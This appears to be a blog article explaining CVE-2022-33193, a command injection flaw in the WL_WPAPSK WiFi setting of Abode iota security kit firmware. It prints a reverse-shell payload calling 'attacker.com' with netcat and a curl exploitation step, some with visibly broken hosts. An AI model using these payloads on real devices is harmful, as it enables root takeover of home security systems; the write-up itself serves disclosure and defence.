Abode Systems’ iota All-In-One Security Kit is a popular smart home device, but in 2022, researchers discovered several critical vulnerabilities. In this comprehensive article, we’ll break down CVE-2022-33193, which allows attackers to execute arbitrary commands on the device – focusing specifically on the flaw in handling the WL_WPAPSK config value inside firmware 6.9Z and 6.9X. This is an exclusive, step-by-step explanation suitable for anyone with some technical background, including those new to IoT security.
Impact: Arbitrary code execution as root
The problem? The device’s web interface lets you run network tests through XCMDs. However, how these commands are handled is not safe, especially with WiFi-related configurations like WL_WPAPSK. Unsanitized user input gets passed right into system shell commands, allowing attackers to inject and run whatever they want.
Where’s the Flaw? (Technical Details)
The vulnerable logic is found in the firmware, specifically within the binary at offset x1c7d28. This code lets remote users set WiFi parameters. But it doesn’t sanitize what you send for WL_WPAPSK, and directly builds a command with your value.
Here’s a simplified pseudo-code to illustrate the vulnerability
// pseudo-code similar to what’s decompiled from firmware 6.9Z
char *wpsk = get_http_param("WL_WPAPSK"); // grabs the submitted WPA password
char command[256];
sprintf(command, "uci set wireless.@wifi-iface[].key='%s'", wpsk); // unsafe!
system(command); // danger: runs as root, no input checking!
If an attacker submits a malicious string for WL_WPAPSK, that string gets injected straight into the shell. Since it’s in quotes, you’d need to break out of the string – simple with shell tricks.
Suppose the attacker crafts this HTTP POST body while configuring WiFi via the web/MCU interface
WL_WPAPSK=attacker'; nc attacker.com 4444 -e /bin/sh; echo '
The '; closes the string, inserts a command, then reopens it.
- The device would end up running nc (netcat) to connect back to the attacker's server for a root shell.
Final shell command run by the device
uci set wireless.@wifi-iface[].key='attacker'; nc attacker.com 4444 -e /bin/sh; echo ''
Find the XCMD endpoint
Typically exposed on /Action?name=testWifiAP or similar. Requires authentication, but default credentials are often unchanged on IoT devices or leaked elsewhere.
Send Malicious Request
Craft POST or GET requests with the malicious WL_WPAPSK parameter. For demo purposes, you might use curl:
`sh
curl -X POST --data "WL_WPAPSK=pass'; nc -e /bin/sh; echo '" \
http:///Action?name=testWifiAP
When the device processes the action, your netcat session pops a root shell.
> WARNING: All tests/exploitation should only be done in a legal and authorized environment!
Original References and Resources
- Abode Security News
- Firmware Analysis Report: CVE-2022-33193
- National Vulnerability Database
- Exploit-DB Entry
Why Is This Dangerous?
- Remote Attacker, Full Control: Attackers can run any command as root, from planting malware to disabling alarms.
- Home Privacy: This device is supposed to protect your home. This flaw turns it into an entry point for attackers.
Final Words
CVE-2022-33193 is a critical, easily-exploited command injection flaw. Its root cause – failing to sanitize WL_WPAPSK in the XCMD testWifiAP handler – is all too common in the IoT world, but devastating in high-trust devices like home security hubs. Patch now, and treat your home’s smart devices with just as much caution as your computers.
Stay secure, stay smart. If you have more questions about IoT vulnerabilities, drop them in the comments – we’ll break them down for you!
*This article is exclusive content. For follow-ups on IoT exploits and security, check our IoT Security category.*
Timeline
Published on: 10/25/2022 17:15:00 UTC
Last modified on: 10/26/2022 18:52:00 UTC